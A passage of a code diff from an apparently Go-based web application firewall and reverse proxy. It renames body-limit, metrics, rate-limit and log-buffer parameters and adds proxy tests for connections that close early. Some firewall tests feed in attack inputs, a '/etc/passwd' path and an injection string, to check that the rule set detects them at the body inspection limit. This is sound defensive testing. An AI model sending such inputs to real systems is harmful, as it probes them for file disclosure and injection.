})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2414,7 +2419,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
pad := strings.Repeat("a", bodyLimit)
|
pad := strings.Repeat("a", bodyInspectionSize)
|
||||||
|
|
||||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||||
{
|
{
|
||||||
@@ -2427,20 +2432,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||||
tc.attackFirst[:bodyLimit+1])
|
tc.attackFirst[:bodyInspectionSize+1])
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
post(tc.header),
|
post(tc.header),
|
||||||
tc.attackLast,
|
tc.attackLast,
|
||||||
coreruleset.Result{},
|
coreruleset.Result{},
|
||||||
tc.attackLast[:bodyLimit+1],
|
tc.attackLast[:bodyInspectionSize+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// To the byte: a system file's path is found when it ends at the limit,
|
// To the byte: a system file's path is found when it ends at the limit,
|
||||||
// and not when its last letter is past it, which is still read.
|
// and not when its last letter is past it, which is still read.
|
||||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2450,7 +2455,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
atLimit,
|
atLimit,
|
||||||
)
|
)
|
||||||
|
|
||||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2470,10 +2475,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|||||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||||
} {
|
} {
|
||||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||||
|
|
||||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2530,7 +2535,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
|||||||
|
|
||||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||||
// Content-Encoding on it is refused all the same.
|
// Content-Encoding on it is refused all the same.
|
||||||
larger := strings.Repeat("a", bodyLimit+1)
|
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||||
|
|
||||||
// It is allowed on a body of any other kind, and on every body while no
|
// It is allowed on a body of any other kind, and on every body while no
|
||||||
@@ -2850,7 +2855,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
// that has no colon, before the attack. They do so padded past the
|
// that has no colon, before the attack. They do so padded past the
|
||||||
// limit too, which cuts them in the padding.
|
// limit too, which cuts them in the padding.
|
||||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head string }{
|
for _, tc := range []struct{ header, head string }{
|
||||||
{multipart + "; boundary=c", ""},
|
{multipart + "; boundary=c", ""},
|
||||||
@@ -2868,7 +2873,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
|
|
||||||
body = tc.head + field("q", injection) + pad + end
|
body = tc.head + field("q", injection) + pad + end
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||||
body[:bodyLimit+1])
|
body[:bodyInspectionSize+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2881,7 +2886,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
cut := "--b\r\nContent-Di"
|
cut := "--b\r\nContent-Di"
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
strings.Repeat(
|
||||||
|
"a",
|
||||||
|
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||||
|
),
|
||||||
)
|
)
|
||||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||||
|
|
||||||
@@ -2891,7 +2899,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
post(multipart),
|
post(multipart),
|
||||||
body,
|
body,
|
||||||
matched(900440, 900450),
|
matched(900440, 900450),
|
||||||
body[:bodyLimit+1],
|
body[:bodyInspectionSize+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2910,12 +2918,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
|||||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
strings.Repeat(
|
||||||
|
"a",
|
||||||
|
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||||
|
),
|
||||||
)
|
)
|
||||||
body := first + field("q", "1") + end
|
body := first + field("q", "1") + end
|
||||||
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||||
body[:bodyLimit+1])
|
body[:bodyInspectionSize+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2930,7 +2941,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
// The test loads its own Core Rule Set, since loading is part of what
|
// The test loads its own Core Rule Set, since loading is part of what
|
||||||
// it checks.
|
// it checks.
|
||||||
crs, err := coreruleset.New(coreruleset.Params{
|
crs, err := coreruleset.New(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
|
|||||||
@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
|
|||||||
@@ -102,7 +102,8 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {nextcloud},
|
otherHost: {nextcloud},
|
||||||
|
|||||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|||||||
defaults := servingApps(t, apps)
|
defaults := servingApps(t, apps)
|
||||||
bodies := shared(t, coreruleset.Params{
|
bodies := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
BodyInspectionSize: bodyLimit, Apps: apps,
|
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, recorded := range requests {
|
for _, recorded := range requests {
|
||||||
|
|||||||
@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||||
if len(body) > bodyLimit {
|
if len(body) > bodyInspectionSize {
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf(
|
||||||
|
"a body of %d bytes is cut at bodyInspectionSize",
|
||||||
|
len(body),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||||
|
|||||||
+19
-17
@@ -13,14 +13,15 @@ const other = "other"
|
|||||||
|
|
||||||
// busiest are the metrics by one thing the lookup finds of the client,
|
// busiest are the metrics by one thing the lookup finds of the client,
|
||||||
// its country or its AS number, for requests whose client's is known.
|
// its country or its AS number, for requests whose client's is known.
|
||||||
// The topN busiest countries or AS numbers, by their requests since the
|
// The busiestCount busiest countries or AS numbers, by their requests
|
||||||
// start, have series of their own, and the others are counted under
|
// since the start, have series of their own, and the others are counted
|
||||||
// other, so that there are never more than topN + 1 series. One that
|
// under other, so that there are never more than busiestCount + 1 series.
|
||||||
// drops out of the busiest loses its series, and its next requests are
|
// One that drops out of the busiest loses its series, and its next
|
||||||
// counted under other; one that becomes one of them gets a series that
|
// requests are counted under other; one that becomes one of them gets a
|
||||||
// counts from then on. Each series therefore only ever goes up.
|
// series that counts from then on. Each series therefore only ever goes
|
||||||
|
// up.
|
||||||
type busiest struct {
|
type busiest struct {
|
||||||
topN int
|
busiestCount int
|
||||||
|
|
||||||
requests *prometheus.CounterVec
|
requests *prometheus.CounterVec
|
||||||
requestBytes *prometheus.CounterVec
|
requestBytes *prometheus.CounterVec
|
||||||
@@ -38,9 +39,9 @@ type busiest struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newCountries returns the metrics by country, with series of their own
|
// newCountries returns the metrics by country, with series of their own
|
||||||
// for the topN busiest countries.
|
// for the busiestCount busiest countries.
|
||||||
func newCountries(topN int) *busiest {
|
func newCountries(busiestCount int) *busiest {
|
||||||
countries := newBusiest(topN, "country", "the client's country")
|
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||||
countries.refused = counterVec(
|
countries.refused = counterVec(
|
||||||
"sww_country_list_refusals_total",
|
"sww_country_list_refusals_total",
|
||||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||||
@@ -51,18 +52,19 @@ func newCountries(topN int) *busiest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newASNs returns the metrics by AS number, with series of their own for
|
// newASNs returns the metrics by AS number, with series of their own for
|
||||||
// the topN busiest AS numbers.
|
// the busiestCount busiest AS numbers.
|
||||||
func newASNs(topN int) *busiest {
|
func newASNs(busiestCount int) *busiest {
|
||||||
return newBusiest(topN, "asn", "the client's AS number")
|
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||||
}
|
}
|
||||||
|
|
||||||
// newBusiest returns the metrics by label, which is described as
|
// newBusiest returns the metrics by label, which is described as
|
||||||
// description, with series of their own for the topN busiest values.
|
// description, with series of their own for the busiestCount busiest
|
||||||
func newBusiest(topN int, label, description string) *busiest {
|
// values.
|
||||||
|
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||||
by := []string{label}
|
by := []string{label}
|
||||||
|
|
||||||
return &busiest{
|
return &busiest{
|
||||||
topN: topN,
|
busiestCount: busiestCount,
|
||||||
requests: counterVec("sww_"+label+"_requests_total",
|
requests: counterVec("sww_"+label+"_requests_total",
|
||||||
"Requests, by "+description+".", by),
|
"Requests, by "+description+".", by),
|
||||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||||
@@ -131,7 +133,7 @@ func (b *busiest) label(value string) string {
|
|||||||
return value
|
return value
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(b.top) < b.topN {
|
if len(b.top) < b.busiestCount {
|
||||||
b.top[value] = true
|
b.top[value] = true
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// New returns the metrics, with the Go runtime's and the process's own.
|
// New returns the metrics, with the Go runtime's and the process's own.
|
||||||
// topN is how many countries and how many AS numbers get series of their
|
// busiestCount is how many countries and how many AS numbers get series of
|
||||||
// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
|
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||||
//
|
//
|
||||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||||
func New(topN int, instanceName string) *Metrics {
|
func New(busiestCount int, instanceName string) *Metrics {
|
||||||
byStatus := []string{"status_class", "action"}
|
byStatus := []string{"status_class", "action"}
|
||||||
byFile := []string{"file"}
|
byFile := []string{"file"}
|
||||||
registry := prometheus.NewRegistry()
|
registry := prometheus.NewRegistry()
|
||||||
@@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
"and the rule's id.",
|
"and the rule's id.",
|
||||||
[]string{"mode", "rule_id"},
|
[]string{"mode", "rule_id"},
|
||||||
),
|
),
|
||||||
countries: newCountries(topN),
|
countries: newCountries(busiestCount),
|
||||||
asns: newASNs(topN),
|
asns: newASNs(busiestCount),
|
||||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||||
Name: "sww_geojs_requests_total",
|
Name: "sww_geojs_requests_total",
|
||||||
Help: "Requests to GeoJS.",
|
Help: "Requests to GeoJS.",
|
||||||
|
|||||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
|||||||
// CountRefusal counts a request from client at now that sww
|
// CountRefusal counts a request from client at now that sww
|
||||||
// refused after a rule file or Core Rule Set match or for a missing or
|
// refused after a rule file or Core Rule Set match or for a missing or
|
||||||
// wrong token, and reports whether the client's refusals in the minute
|
// wrong token, and reports whether the client's refusals in the minute
|
||||||
// that ends at now, this one included, are more than threshold, which
|
// that ends at now, this one included, are more than limit, which breaks
|
||||||
// breaks the refusal limit, and the hit.
|
// the refusal limit, and the hit.
|
||||||
func (l *Limiter) CountRefusal(
|
func (l *Limiter) CountRefusal(
|
||||||
client netip.Prefix, now time.Time, threshold int64,
|
client netip.Prefix, now time.Time, limit int64,
|
||||||
) (Hit, bool) {
|
) (Hit, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
|||||||
hit := Hit{
|
hit := Hit{
|
||||||
Kind: KindRefusals,
|
Kind: KindRefusals,
|
||||||
Window: "minute",
|
Window: "minute",
|
||||||
Limit: threshold,
|
Limit: limit,
|
||||||
Count: count,
|
Count: count,
|
||||||
}
|
}
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
return hit, count > float64(limit)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||||
|
|||||||
@@ -351,7 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
|||||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
|
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||||
t *testing.T,
|
t *testing.T,
|
||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -363,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
|
|||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf(
|
t.Fatalf(
|
||||||
"a refusal within the threshold of %d broke the refusal limit",
|
"a refusal within the limit of %d broke the refusal limit",
|
||||||
limit,
|
limit,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -376,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
"one over the limit broke it: %t, with %+v; want %+v",
|
||||||
over,
|
over,
|
||||||
hit,
|
hit,
|
||||||
want,
|
want,
|
||||||
@@ -384,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the threshold.
|
// this one: 3, within the limit.
|
||||||
hit, over = limiter.CountRefusal(
|
hit, over = limiter.CountRefusal(
|
||||||
client,
|
client,
|
||||||
start.Add(time.Minute+time.Minute/2),
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
|||||||
@@ -62,9 +62,9 @@ type Params struct {
|
|||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// Buffer is the most lines held while they wait to be sent
|
// BufferLines is the most lines held while they wait to be sent
|
||||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||||
Buffer int
|
BufferLines int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
|||||||
// id and the structured data have no value.
|
// id and the structured data have no value.
|
||||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||||
records: make(chan []byte, params.Buffer),
|
records: make(chan []byte, params.BufferLines),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
|||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||||
endpointParams.RootCAs = roots
|
endpointParams.RootCAs = roots
|
||||||
endpointParams.Buffer = 3
|
endpointParams.BufferLines = 3
|
||||||
sender, _, _ := run(t, endpointParams)
|
sender, _, _ := run(t, endpointParams)
|
||||||
|
|
||||||
// The sender connects, and its TLS handshake waits for an answer
|
// The sender connects, and its TLS handshake waits for an answer
|
||||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
|||||||
// appName.
|
// appName.
|
||||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||||
return remotelog.Params{
|
return remotelog.Params{
|
||||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||||
Buffer: 10,
|
BufferLines: 10,
|
||||||
Facility: local0,
|
Facility: local0,
|
||||||
AppName: appName,
|
AppName: appName,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -42,9 +42,9 @@ const (
|
|||||||
otherZone = "other.example"
|
otherZone = "other.example"
|
||||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||||
// /etc/resolv.conf
|
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
||||||
// can have Go's resolver wait for one server, so that it is the
|
// it is the DNSBL's own timeout that ends a query, whatever that file
|
||||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
// says.
|
||||||
cacheTTL = 24 * time.Hour
|
cacheTTL = 24 * time.Hour
|
||||||
timeout = time.Second
|
timeout = time.Second
|
||||||
// listed and unlisted are clients zone is asked about by the names
|
// listed and unlisted are clients zone is asked about by the names
|
||||||
|
|||||||
@@ -26,6 +26,10 @@ import (
|
|||||||
// post is the start of a POST whose headers end with what follows it.
|
// post is the start of a POST whose headers end with what follows it.
|
||||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||||
|
|
||||||
|
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||||
|
// body, the 64 KiB rproxy reads before it asks waf.
|
||||||
|
const limitPastFirstPart = "128K"
|
||||||
|
|
||||||
// announcedLength is the header that announces a body of size bytes, and the
|
// announcedLength is the header that announces a body of size bytes, and the
|
||||||
// end of the headers.
|
// end of the headers.
|
||||||
func announcedLength(size int) string {
|
func announcedLength(size int) string {
|
||||||
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
size, asked int
|
size, asked int
|
||||||
}{
|
}{
|
||||||
{"with the limit within the first part", "1K", 1025, 1024},
|
{"with the limit within the first part", "1K", 1025, 1024},
|
||||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
{
|
||||||
|
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||||
|
questionBodyMaxBytes,
|
||||||
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -136,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
waf http.HandlerFunc
|
||||||
|
rest int
|
||||||
|
status int
|
||||||
|
}{
|
||||||
|
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||||
|
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||||
|
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||||
|
// connection's buffers. Otherwise the visitor is still sending when the
|
||||||
|
// connection closes, and gets a reset.
|
||||||
|
{
|
||||||
|
"with more than 256 KiB left", allow, 272 << 10,
|
||||||
|
http.StatusRequestEntityTooLarge,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, tc.waf)
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||||
|
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
|
||||||
|
res, err := http.ReadResponse(reader, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read the answer: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _ = io.Copy(io.Discard, res.Body)
|
||||||
|
_ = res.Body.Close()
|
||||||
|
|
||||||
|
if res.StatusCode != tc.status {
|
||||||
|
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The rest goes in small parts, so that a reset fails a later one.
|
||||||
|
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||||
|
send(t, conn, strings.Repeat("x", 1<<10))
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := io.ReadAll(reader)
|
||||||
|
if err != nil || len(got) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"after the answer, read %q and %v, want the end",
|
||||||
|
got,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.Header().Set(dispositionHeader, dispositionClose)
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
})
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
